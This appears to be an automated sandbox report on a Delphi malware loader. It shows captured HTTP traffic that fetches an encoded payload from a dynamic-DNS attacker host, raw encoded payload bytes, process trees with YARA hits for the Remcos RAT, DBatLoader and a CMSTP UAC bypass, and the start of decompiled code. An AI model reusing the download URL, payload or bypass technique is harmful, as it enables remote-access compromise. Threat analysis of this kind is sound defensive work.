                                  Sep 5, 2023 22:20:42.422048092 CEST98INData Raw: 4b 64 41 49 6b 55 31 67 51 69 4e 32 49 62 52 38 33 6d 78 53 76 4f 68 42 50 4a 70 4a 76 37 4d 6f 5a 4a 51 6d 42 71 54 69 44 45 35 2b 2b 6c 68 5a 74 63 61 30 31 49 49 70 6d 6f 6d 44 39 67 47 79 65 4a 64 59 41 4e 48 66 67 74 43 61 59 42 45 58 32 44
                                  Data Ascii: KdAIkU1gQiN2IbR83mxSvOhBPJpJv7MoZJQmBqTiDE5++lhZtca01IIpmomD9gGyeJdYANHfgtCaYBEX2DXpeA0BCgr2zyi6ZzT8iDOiwZ5cnx9ILLA2ZnMCQt7OMIG5auLBYGfvVkj4Wk6UUOqoDnWNCVMRAgy6+I7XT552BcphaqDrWzSsCJ+BGLxseo4h0SKBNX8/8RgXuha5Q3hOdku4gQNGFsA7X+s+27ZAfGUJd4CLIkU
                                  Sep 5, 2023 22:20:42.422068119 CEST100INData Raw: 51 53 2f 68 71 74 39 43 2b 4e 66 73 5a 38 45 77 69 42 71 31 7a 4a 49 56 41 71 6b 65 52 68 57 72 49 69 44 67 38 76 56 4c 6e 6c 52 37 67 71 45 56 76 2b 66 79 30 58 6b 62 69 44 66 5a 7a 54 51 59 52 36 56 57 6b 5a 2f 32 51 43 34 56 6c 64 52 31 76 55
                                  Data Ascii: QS/hqt9C+NfsZ8EwiBq1zJIVAqkeRhWrIiDg8vVLnlR7gqEVv+fy0XkbiDfZzTQYR6VWkZ/2QC4VldR1vU0FsvnXr510uqcOe63s/KKCgRlprZwVOHh+ZJljkSPyBxTsdMqHSZq3GXoegJozWgnrkUVjhqgS7e/LZ+wbQN9SxSvDMG0ZAYEJEhzJ/XTYNSAqVSDIw/nz8Rjl1H+exYO5JuAl7ZQdQ/xse1zUSm1mRg6heqemMI7
                                  Sep 5, 2023 22:20:42.422086954 CEST101INData Raw: 55 73 65 50 50 51 32 49 57 4c 2b 6a 38 63 2b 7a 56 51 7a 6c 5a 69 56 65 42 70 6b 63 70 49 6d 34 68 48 67 4e 36 68 69 41 31 46 2b 75 41 42 51 48 56 42 69 4b 57 4e 4a 32 43 67 38 2b 2b 67 33 57 76 6c 79 72 44 37 43 5a 7a 6f 62 57 63 6e 30 6a 72 59
                                  Data Ascii: UsePPQ2IWL+j8c+zVQzlZiVeBpkcpIm4hHgN6hiA1F+uABQHVBiKWNJ2Cg8++g3WvlyrD7CZzobWcn0jrY1EivIEuMh6aK459Rw9hFxJz6ifOkTbRul954RUXx6taP5MNJtoYbDBf8dviIpEciDZC78e8lPFekzwrVgY/NDoNGMfgkdytDlIN2qMH5diMJGZvIbrbTHiyUtybfZEiHJGw/I4CuFKbyVF8XgI6WJVOonMaf9/D9Q
                                  Sep 5, 2023 22:20:42.422105074 CEST102INData Raw: 43 45 62 35 35 36 4f 6f 5a 79 52 65 49 65 6e 74 54 49 65 66 76 4c 34 35 46 6d 43 6d 79 6b 48 49 2b 4a 50 69 4d 37 68 30 48 42 47 4d 4e 68 53 4f 47 52 66 41 79 49 74 4e 75 77 39 53 69 47 48 6a 48 5a 5a 66 63 51 36 32 4f 37 42 43 64 51 33 6c 67 37
                                  Data Ascii: CEb556OoZyReIentTIefvL45FmCmykHI+JPiM7h0HBGMNhSOGRfAyItNuw9SiGHjHZZfcQ62O7BCdQ3lg7/Wz3OOWpoRh+CabOFDjui8/7pBhsb3VVeaiTZXkygcAFVplI9mWfXDfAEdV6gb59C6kZYP43FPJqyw4za4R5YhJaYkGS9RLBFI/HutLyCCjnewy7YXBOSLMeV2pEGBd8B2CjGZ3SsP8i6g+WKC5PH7SPt9vHKCIzz
                                  Sep 5, 2023 22:20:42.422123909 CEST104INData Raw: 5a 46 49 58 4c 4f 35 57 39 31 67 48 79 43 4f 4a 30 5a 6a 35 4a 65 46 48 37 6e 50 46 55 70 79 31 30 58 58 42 43 6c 4e 78 47 62 6f 75 65 45 45 64 58 49 35 44 4b 65 55 63 51 50 64 6c 55 67 41 42 72 61 31 7a 68 64 46 76 47 6b 45 51 6a 59 4d 6b 67 5a
                                  Data Ascii: ZFIXLO5W91gHyCOJ0Zj5JeFH7nPFUpy10XXBClNxGboueEEdXI5DKeUcQPdlUgABra1zhdFvGkEQjYMkgZ9q6LlVEauIDDqzytQRzQfOCynd2d8AMmhe6a839W37Wv2NhpQfVBFsG/jm3xf3qeBtoTOqPL+pBRO2Ws7niWOd/BOJqxzBkNVPFGEbETb4sKyzcEJXS23HQROblVgsOrPabJknh92D6J1BfkRsJ91ARQO07TVP6h8
                                  Sep 5, 2023 22:20:42.422142982 CEST105INData Raw: 62 59 32 76 6f 47 51 66 41 33 50 6c 55 6e 7a 79 52 74 46 71 74 44 42 53 2b 36 31 79 65 6b 6c 4b 6e 65 6f 32 51 34 68 46 43 54 50 53 51 62 6b 75 50 57 76 46 65 64 6b 76 37 53 35 4b 7a 6b 59 68 33 57 64 72 71 48 2f 46 76 41 6b 43 51 4a 58 2b 58 75
                                  Data Ascii: bY2voGQfA3PlUnzyRtFqtDBS+61yeklKneo2Q4hFCTPSQbkuPWvFedkv7S5KzkYh3WdrqH/FvAkCQJX+XubcUMp55pzOe4bi94UcsNPxPoB/pMyoiDZXXbkcxu/C7K6YaQxT2HUG7PVx0//F1zwBhWjcG8f0JnwfS2tFQYEPyWy+wlFW6+IYTPmcOUT0sVryE2znae+ltLd8O43+w/Tu65Uu/oL2MZURNSA7j5Pfm/XnFQ2yFnQ
                                  Sep 5, 2023 22:20:42.422166109 CEST106INData Raw: 34 46 58 34 4b 63 39 47 35 5a 67 4e 33 37 57 76 70 45 2f 53 61 46 76 68 2f 6f 70 6e 58 79 76 4e 35 6e 70 2f 42 74 4b 66 4b 4c 71 53 47 32 58 35 38 59 34 73 76 6a 78 36 30 6e 42 46 63 43 78 30 4b 45 52 62 42 42 4a 30 6d 41 36 69 4e 39 68 33 56 43
                                  Data Ascii: 4FX4Kc9G5ZgN37WvpE/SaFvh/opnXyvN5np/BtKfKLqSG2X58Y4svjx60nBFcCx0KERbBBJ0mA6iN9h3VC2TmTkabCQEppYCc0RVAP1G0073jqLhHVY5KdIA4TM9CJ7pTW8nQSKLEAOj3wLpfwTM+WG1iegThP0kdTkG2ZrkCLCC7Q47oW7zKxZbJ2jsN7yBoXq6u+ImkhZf2e+SO3cPCrEaSb2oiy3P+3H/muMA4tkErlt/2tZ
                                  Sep 5, 2023 22:20:42.648080111 CEST108INData Raw: 44 37 48 50 78 34 44 4b 38 35 42 4b 57 69 34 6a 76 6c 4a 38 56 4b 73 46 4a 49 65 63 68 4c 6d 42 57 66 70 6e 66 2f 76 49 4d 2b 7a 77 79 6b 72 49 4f 61 4b 30 53 6e 49 43 68 4a 59 47 41 72 4d 61 50 79 73 53 67 43 78 79 57 49 58 33 37 4e 6b 4f 53 66
                                  Data Ascii: D7HPx4DK85BKWi4jvlJ8VKsFJIechLmBWfpnf/vIM+zwykrIOaK0SnIChJYGArMaPysSgCxyWIX37NkOSfnsmfqLsW3IT0d//ugqpZAl0HathAHTW5abU4GOsqN+G06wUgrcfpdp48/77TXx2bQey4z/AcLNpXSGAMQGXulshc39HMJYh1XUxziA5gK3dGDxcPMLffOBXSc4de75bpUcC6+rPojIWMi7ZY3iXIwOYWGqHaUbXqE


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  1192.168.2.44970881.161.229.980C:\Users\user\Desktop\Fnvtdhenapsfwu.exe
                                  TimestampkBytes transferredDirectionData
                                  Sep 5, 2023 22:20:57.802153111 CEST1130OUTGET /goofeeewsvd/Fnvtdhenaps HTTP/1.1
                                  Connection: Keep-Alive
                                  Accept: */*
                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                  Host: wsvdyhrgebwhevawe.ydns.eu
                                  Sep 5, 2023 22:20:58.030740023 CEST1130INHTTP/1.1 200 OK
                                  etag: "f1cf4-64f6c9f5-17cb2e;;;"
                                  last-modified: Tue, 05 Sep 2023 06:25:57 GMT
                                  content-length: 990452
                                  accept-ranges: bytes
                                  date: Tue, 05 Sep 2023 20:20:57 GMT
                                  server: LiteSpeed
                                  connection: Keep-Alive
                                  Sep 5, 2023 22:20:58.030812979 CEST1131INData Raw: 4d 7a 45 79 4c 6b 6b 2b 42 50 38 71 53 53 78 51 43 67 72 2f 53 53 77 74 4c 67 6b 76 4d 7a 45 79 43 67 6f 73 53 53 30 73 50 6b 41 74 4c 43 70 4a 44 78 45 56 44 78 77 59 47 41 38 68 49 79 45 65 49 52 67 66 44 68 30 6a 48 78 4d 57 45 43 49 54 45 77
                                  Data Ascii: MzEyLkk+BP8qSSxQCgr/SSwtLgkvMzEyCgosSS0sPkAtLCpJDxEVDxwYGA8hIyEeIRgfDh0jHxMWECITEw0cDyAcJSMQDg8aDxMPGBUhDRMYIBglGBIkGBsTFhENDhsVHhAWDQ8REBAQHxggECAZIhoMECAYEyIaDhUTHhkcHiUXGxgVDBEzMTIuST4E/ypJLFAKCv9JLC0uCS8zMTIKCixJLSw+QC0sKklPGSEfDxMQGQwbHjM
                                  Sep 5, 2023 22:20:58.030873060 CEST1133INData Raw: 65 74 74 4c 61 34 74 37 65 33 70 71 2b 6e 74 36 65 77 71 62 47 7a 74 36 65 76 71 71 6d 78 74 61 79 71 70 62 43 6a 70 5a 79 75 6f 71 2b 73 73 37 69 32 75 4b 79 32 6f 36 2b 76 74 71 69 61 71 4b 57 6f 72 36 61 31 70 4a 71 6d 71 71 32 33 71 61 71 71
                                  Data Ascii: ettLa4t7e3pq+nt6ewqbGzt6evqqmxtayqpbCjpZyuoq+ss7i2uKy2o6+vtqiaqKWor6a1pJqmqq23qaqqtKO2p6Ocmre1trG2qravrKi0qq+nr5yvuZuvoqqtuLS1oqylt620tri3t7emr6e3p7CpsbO3p6+qqbG1rKqlsKOlnK6ir6yzuLa4rLajr6+2qJqopaivprWkmqaqrbepqqq0o7ano5yat7W2sVU39d3v8+4K2vXvV
                                  Sep 5, 2023 22:20:58.030925035 CEST1134INData Raw: 4b 64 41 49 6b 55 31 67 51 69 4e 32 49 62 52 38 33 6d 78 53 76 4f 68 42 50 4a 70 4a 76 37 4d 6f 5a 4a 51 6d 42 71 54 69 44 45 35 2b 2b 6c 68 5a 74 63 61 30 31 49 49 70 6d 6f 6d 44 39 67 47 79 65 4a 64 59 41 4e 48 66 67 74 43 61 59 42 45 58 32 44
                                  Data Ascii: KdAIkU1gQiN2IbR83mxSvOhBPJpJv7MoZJQmBqTiDE5++lhZtca01IIpmomD9gGyeJdYANHfgtCaYBEX2DXpeA0BCgr2zyi6ZzT8iDOiwZ5cnx9ILLA2ZnMCQt7OMIG5auLBYGfvVkj4Wk6UUOqoDnWNCVMRAgy6+I7XT552BcphaqDrWzSsCJ+BGLxseo4h0SKBNX8/8RgXuha5Q3hOdku4gQNGFsA7X+s+27ZAfGUJd4CLIkU
                                  Sep 5, 2023 22:20:58.030970097 CEST1135INData Raw: 51 53 2f 68 71 74 39 43 2b 4e 66 73 5a 38 45 77 69 42 71 31 7a 4a 49 56 41 71 6b 65 52 68 57 72 49 69 44 67 38 76 56 4c 6e 6c 52 37 67 71 45 56 76 2b 66 79 30 58 6b 62 69 44 66 5a 7a 54 51 59 52 36 56 57 6b 5a 2f 32 51 43 34 56 6c 64 52 31 76 55
                                  Data Ascii: QS/hqt9C+NfsZ8EwiBq1zJIVAqkeRhWrIiDg8vVLnlR7gqEVv+fy0XkbiDfZzTQYR6VWkZ/2QC4VldR1vU0FsvnXr510uqcOe63s/KKCgRlprZwVOHh+ZJljkSPyBxTsdMqHSZq3GXoegJozWgnrkUVjhqgS7e/LZ+wbQN9SxSvDMG0ZAYEJEhzJ/XTYNSAqVSDIw/nz8Rjl1H+exYO5JuAl7ZQdQ/xse1zUSm1mRg6heqemMI7
                                  Sep 5, 2023 22:20:58.031025887 CEST1137INData Raw: 55 73 65 50 50 51 32 49 57 4c 2b 6a 38 63 2b 7a 56 51 7a 6c 5a 69 56 65 42 70 6b 63 70 49 6d 34 68 48 67 4e 36 68 69 41 31 46 2b 75 41 42 51 48 56 42 69 4b 57 4e 4a 32 43 67 38 2b 2b 67 33 57 76 6c 79 72 44 37 43 5a 7a 6f 62 57 63 6e 30 6a 72 59
                                  Data Ascii: UsePPQ2IWL+j8c+zVQzlZiVeBpkcpIm4hHgN6hiA1F+uABQHVBiKWNJ2Cg8++g3WvlyrD7CZzobWcn0jrY1EivIEuMh6aK459Rw9hFxJz6ifOkTbRul954RUXx6taP5MNJtoYbDBf8dviIpEciDZC78e8lPFekzwrVgY/NDoNGMfgkdytDlIN2qMH5diMJGZvIbrbTHiyUtybfZEiHJGw/I4CuFKbyVF8XgI6WJVOonMaf9/D9Q
                                  Sep 5, 2023 22:20:58.031069994 CEST1138INData Raw: 43 45 62 35 35 36 4f 6f 5a 79 52 65 49 65 6e 74 54 49 65 66 76 4c 34 35 46 6d 43 6d 79 6b 48 49 2b 4a 50 69 4d 37 68 30 48 42 47 4d 4e 68 53 4f 47 52 66 41 79 49 74 4e 75 77 39 53 69 47 48 6a 48 5a 5a 66 63 51 36 32 4f 37 42 43 64 51 33 6c 67 37
                                  Data Ascii: CEb556OoZyReIentTIefvL45FmCmykHI+JPiM7h0HBGMNhSOGRfAyItNuw9SiGHjHZZfcQ62O7BCdQ3lg7/Wz3OOWpoRh+CabOFDjui8/7pBhsb3VVeaiTZXkygcAFVplI9mWfXDfAEdV6gb59C6kZYP43FPJqyw4za4R5YhJaYkGS9RLBFI/HutLyCCjnewy7YXBOSLMeV2pEGBd8B2CjGZ3SsP8i6g+WKC5PH7SPt9vHKCIzz
                                  Sep 5, 2023 22:20:58.031128883 CEST1139INData Raw: 5a 46 49 58 4c 4f 35 57 39 31 67 48 79 43 4f 4a 30 5a 6a 35 4a 65 46 48 37 6e 50 46 55 70 79 31 30 58 58 42 43 6c 4e 78 47 62 6f 75 65 45 45 64 58 49 35 44 4b 65 55 63 51 50 64 6c 55 67 41 42 72 61 31 7a 68 64 46 76 47 6b 45 51 6a 59 4d 6b 67 5a
                                  Data Ascii: ZFIXLO5W91gHyCOJ0Zj5JeFH7nPFUpy10XXBClNxGboueEEdXI5DKeUcQPdlUgABra1zhdFvGkEQjYMkgZ9q6LlVEauIDDqzytQRzQfOCynd2d8AMmhe6a839W37Wv2NhpQfVBFsG/jm3xf3qeBtoTOqPL+pBRO2Ws7niWOd/BOJqxzBkNVPFGEbETb4sKyzcEJXS23HQROblVgsOrPabJknh92D6J1BfkRsJ91ARQO07TVP6h8
                                  Sep 5, 2023 22:20:58.031172991 CEST1141INData Raw: 62 59 32 76 6f 47 51 66 41 33 50 6c 55 6e 7a 79 52 74 46 71 74 44 42 53 2b 36 31 79 65 6b 6c 4b 6e 65 6f 32 51 34 68 46 43 54 50 53 51 62 6b 75 50 57 76 46 65 64 6b 76 37 53 35 4b 7a 6b 59 68 33 57 64 72 71 48 2f 46 76 41 6b 43 51 4a 58 2b 58 75
                                  Data Ascii: bY2voGQfA3PlUnzyRtFqtDBS+61yeklKneo2Q4hFCTPSQbkuPWvFedkv7S5KzkYh3WdrqH/FvAkCQJX+XubcUMp55pzOe4bi94UcsNPxPoB/pMyoiDZXXbkcxu/C7K6YaQxT2HUG7PVx0//F1zwBhWjcG8f0JnwfS2tFQYEPyWy+wlFW6+IYTPmcOUT0sVryE2znae+ltLd8O43+w/Tu65Uu/oL2MZURNSA7j5Pfm/XnFQ2yFnQ
                                  Sep 5, 2023 22:20:58.031219959 CEST1142INData Raw: 34 46 58 34 4b 63 39 47 35 5a 67 4e 33 37 57 76 70 45 2f 53 61 46 76 68 2f 6f 70 6e 58 79 76 4e 35 6e 70 2f 42 74 4b 66 4b 4c 71 53 47 32 58 35 38 59 34 73 76 6a 78 36 30 6e 42 46 63 43 78 30 4b 45 52 62 42 42 4a 30 6d 41 36 69 4e 39 68 33 56 43
                                  Data Ascii: 4FX4Kc9G5ZgN37WvpE/SaFvh/opnXyvN5np/BtKfKLqSG2X58Y4svjx60nBFcCx0KERbBBJ0mA6iN9h3VC2TmTkabCQEppYCc0RVAP1G0073jqLhHVY5KdIA4TM9CJ7pTW8nQSKLEAOj3wLpfwTM+WG1iegThP0kdTkG2ZrkCLCC7Q47oW7zKxZbJ2jsN7yBoXq6u+ImkhZf2e+SO3cPCrEaSb2oiy3P+3H/muMA4tkErlt/2tZ
                                  Sep 5, 2023 22:20:58.258980036 CEST1143INData Raw: 44 37 48 50 78 34 44 4b 38 35 42 4b 57 69 34 6a 76 6c 4a 38 56 4b 73 46 4a 49 65 63 68 4c 6d 42 57 66 70 6e 66 2f 76 49 4d 2b 7a 77 79 6b 72 49 4f 61 4b 30 53 6e 49 43 68 4a 59 47 41 72 4d 61 50 79 73 53 67 43 78 79 57 49 58 33 37 4e 6b 4f 53 66
                                  Data Ascii: D7HPx4DK85BKWi4jvlJ8VKsFJIechLmBWfpnf/vIM+zwykrIOaK0SnIChJYGArMaPysSgCxyWIX37NkOSfnsmfqLsW3IT0d//ugqpZAl0HathAHTW5abU4GOsqN+G06wUgrcfpdp48/77TXx2bQey4z/AcLNpXSGAMQGXulshc39HMJYh1XUxziA5gK3dGDxcPMLffOBXSc4de75bpUcC6+rPojIWMi7ZY3iXIwOYWGqHaUbXqE


                                  Statistics

                                  CPU Usage

                                  Click to jump to process

                                  Memory Usage

                                  Click to jump to process

                                  High Level Behavior Distribution

                                  Click to dive into process behavior distribution

                                  Behavior

                                  Click to jump to process

                                  System Behavior

                                  General

                                  Target ID:0
                                  Start time:22:20:39
                                  Start date:05/09/2023
                                  Path:C:\Users\user\Desktop\Fnvtdhenapsfwu.exe
                                  Wow64 process (32bit):true
                                  Commandline:C:\Users\user\Desktop\Fnvtdhenapsfwu.exe
                                  Imagebase:0x400000
                                  File size:1'243'648 bytes
                                  MD5 hash:CFFE529403460C6AFFE0F52C1E7DE602
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:Borland Delphi
                                  Reputation:low
                                  Has exited:true

                                  General

                                  Target ID:1
                                  Start time:22:20:44
                                  Start date:05/09/2023
                                  Path:C:\Windows\SysWOW64\SndVol.exe
                                  Wow64 process (32bit):true
                                  Commandline:C:\Windows\System32\SndVol.exe
                                  Imagebase:0x950000
                                  File size:226'264 bytes
                                  MD5 hash:1EF1A9B89A984DD25DB61DC1AF2548B8
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                  Reputation:moderate
                                  Has exited:false

                                  General

                                  Target ID:2
                                  Start time:22:20:53
                                  Start date:05/09/2023
                                  Path:C:\Users\Public\Libraries\Fnvtdhen.PIF
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\Public\Libraries\Fnvtdhen.PIF"
                                  Imagebase:0x400000
                                  File size:1'243'648 bytes
                                  MD5 hash:CFFE529403460C6AFFE0F52C1E7DE602
                                  Has elevated privileges:false
                                  Has administrator privileges:false
                                  Programmed in:Borland Delphi
                                  Yara matches:
                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Fnvtdhen.PIF, Author: Joe Security
                                  Antivirus matches:
                                  • Detection: 62%, ReversingLabs
                                  Reputation:low
                                  Has exited:true

                                  General

                                  Target ID:8
                                  Start time:22:21:00
                                  Start date:05/09/2023
                                  Path:C:\Windows\SysWOW64\colorcpl.exe
                                  Wow64 process (32bit):true
                                  Commandline:C:\Windows\System32\colorcpl.exe
                                  Imagebase:0x60000
                                  File size:86'528 bytes
                                  MD5 hash:746F3B5E7652EA0766BA10414D317981
                                  Has elevated privileges:false
                                  Has administrator privileges:false
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.253206056.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000003.253042102.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000003.253092372.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000003.253076423.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                  Reputation:high
                                  Has exited:true

                                  Disassembly

                                  Reset < >

                                    Executed Functions

                                    Function 02CCD85C Relevance: 206.0, APIs: 12, Strings: 102, Instructions: 6526COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 44%
                                    			E02CCD85C(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				intOrPtr _v156;
				char _v160;
				char _v164;
				char _v168;
				intOrPtr _v172;
				char _v176;
				char _v180;
				char _v184;
				intOrPtr _v188;
				char _v192;
				char _v196;
				char _v200;
				intOrPtr _v204;
				char _v208;
				char _v212;
				char _v216;
				intOrPtr _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				intOrPtr _v240;
				char _v244;
				char _v248;
				char _v252;
				intOrPtr _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				char _v296;
				char _v300;
				char _v304;
				intOrPtr _v308;
				char _v312;
				char _v316;
				char _v320;
				intOrPtr _v324;
				char _v328;
				char _v332;
				char _v336;
				intOrPtr _v340;
				char _v344;
				char _v348;
				char _v352;
				intOrPtr _v356;
				char _v360;
				char _v364;
				char _v368;
				intOrPtr _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				intOrPtr _v392;
				char _v396;
				char _v400;
				char _v404;
				intOrPtr _v408;
				char _v412;
				char _v416;
				char _v420;
				intOrPtr _v424;
				char _v428;
				char _v432;
				char _v436;
				intOrPtr _v440;
				char _v444;
				char _v448;
				char _v452;
				intOrPtr _v456;
				char _v460;
				char _v464;
				char _v468;
				intOrPtr _v472;
				char _v476;
				char _v480;
				char _v484;
				intOrPtr _v488;
				char _v492;
				char _v496;
				char _v500;
				intOrPtr _v504;
				char _v508;
				char _v512;
				char _v516;
				intOrPtr _v520;
				char _v524;
				char _v528;
				char _v532;
				intOrPtr _v536;
				char _v540;
				char _v544;
				char _v548;
				intOrPtr _v552;
				char _v556;
				char _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				char _v576;
				char _v580;
				intOrPtr _v584;
				char _v588;
				char _v592;
				char _v596;
				intOrPtr _v600;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				char _v628;
				intOrPtr _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				intOrPtr _v656;
				char _v660;
				char _v664;
				char _v668;
				intOrPtr _v672;
				char _v676;
				char _v680;
				char _v684;
				char _v688;
				intOrPtr _v692;
				char _v696;
				char _v700;
				char _v704;
				intOrPtr _v708;
				char _v712;
				char _v716;
				char _v720;
				intOrPtr _v724;
				char _v728;
				char _v732;
				char _v736;
				intOrPtr _v740;
				char _v744;
				char _v748;
				char _v752;
				intOrPtr _v756;
				char _v760;
				char _v764;
				char _v768;
				intOrPtr _v772;
				char _v776;
				char _v780;
				char _v784;
				intOrPtr _v788;
				char _v792;
				char _v796;
				char _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				char _v816;
				char _v820;
				intOrPtr _v824;
				char _v828;
				char _v832;
				char _v836;
				intOrPtr _v840;
				char _v844;
				char _v848;
				char _v852;
				intOrPtr _v856;
				char _v860;
				char _v864;
				char _v868;
				intOrPtr _v872;
				char _v876;
				char _v880;
				char _v884;
				intOrPtr _v888;
				char _v892;
				char _v896;
				char _v900;
				intOrPtr _v904;
				char _v908;
				char _v912;
				char _v916;
				intOrPtr _v920;
				char _v924;
				char _v928;
				char _v932;
				intOrPtr _v936;
				char _v940;
				char _v944;
				char _v948;
				intOrPtr _v952;
				char _v956;
				char _v960;
				char _v964;
				char _v968;
				intOrPtr _v972;
				char _v976;
				char _v980;
				char _v984;
				intOrPtr _v988;
				char _v992;
				char _v996;
				char _v1000;
				intOrPtr _v1004;
				char _v1008;
				char _v1012;
				char _v1016;
				intOrPtr _v1020;
				char _v1024;
				char _v1028;
				char _v1032;
				intOrPtr _v1036;
				char _v1040;
				char _v1044;
				char _v1048;
				intOrPtr _v1052;
				char _v1056;
				char _v1060;
				char _v1076;
				char _v1080;
				intOrPtr _v1084;
				char _v1088;
				char _v1092;
				char _v1096;
				intOrPtr _v1100;
				char _v1104;
				char _v1108;
				_Unknown_base(*)()* _v1112;
				char _v1116;
				intOrPtr _v1120;
				char _v1124;
				char _v1128;
				char _v1132;
				intOrPtr _v1136;
				char _v1140;
				char _v1144;
				char _v1148;
				char _v1152;
				intOrPtr _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				intOrPtr _v1172;
				char _v1176;
				char _v1180;
